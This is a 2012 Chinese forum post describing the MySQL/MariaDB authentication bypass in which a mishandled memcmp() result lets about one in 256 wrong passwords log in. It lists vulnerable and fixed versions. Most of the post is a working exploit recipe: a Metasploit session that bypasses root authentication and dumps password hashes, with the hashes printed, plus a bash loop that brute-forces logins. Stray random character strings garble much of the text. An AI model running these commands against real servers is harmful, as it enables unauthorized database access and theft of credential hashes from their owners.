找回密码
 立即注册
查看: 2860|回复: 0
打印 上一主题 下一主题

mysql任意用户密码概率登陆漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-20 20:11:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。
1 I0 u4 O  |9 ?, r# u% x; M
5 F1 z: j  T  [6 R也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。而且漏洞利用工具已经出现。
& k2 i! b, o5 h+ Y0 @" l
; Q! N/ r( D7 c2 p+ S  y7 t! z受影响的产品:7 O- R( M  k3 [9 Y! R6 Q0 D. R
All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are2 g3 M; V* B+ ^( G
vulnerable.% N7 g2 y6 H6 ^+ L
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
, [+ q" G' q4 a% r* z: y( uMySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
7 s5 Q4 W1 _7 }, Q7 U3 G! j; x( f7 @7 v
验证方法:
( E: |3 g5 w/ }% j+ _; }4 F4 i& }3 H! Q: b$ }) `7 d( Q  R& D3 |* J, z6 o/ A' v
$ msfconsole msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump msf auxiliary(mysql_authbypass_hashdump) > set USERNAME root msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS 127.0.0.1 msf auxiliary(mysql_authbypass_hashdump) > run [+] 127.0.0.1:3306 The server allows logins, proceeding with bypass test [*] 127.0.0.1:3306 Authentication bypass is 10% complete [*] 127.0.0.1:3306 Authentication bypass is 20% complete [*] 127.0.0.1:3306 Successfully bypassed authentication after 205 attempts [+] 127.0.0.1:3306 Successful exploited the authentication bypass flaw, dumping hashes… [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: debian-sys-maint:*C59FFB311C358B4EFD4F0B82D9A03CBD77DC7C89 [*] 127.0.0.1:3306 Hash Table has been saved: 20120611013537_default_127.0.0.1_mysql.hashes_889573.txt [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
$ {, |3 F+ o. q; z. G" n
# Q( I2 O1 H  M# }0 N $ for i in `seq 1 1000`; do mysql -u root –password=bad -h 127.0.0.1 2>/dev/null; done mysql>0 I3 C* c" E4 _' v
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表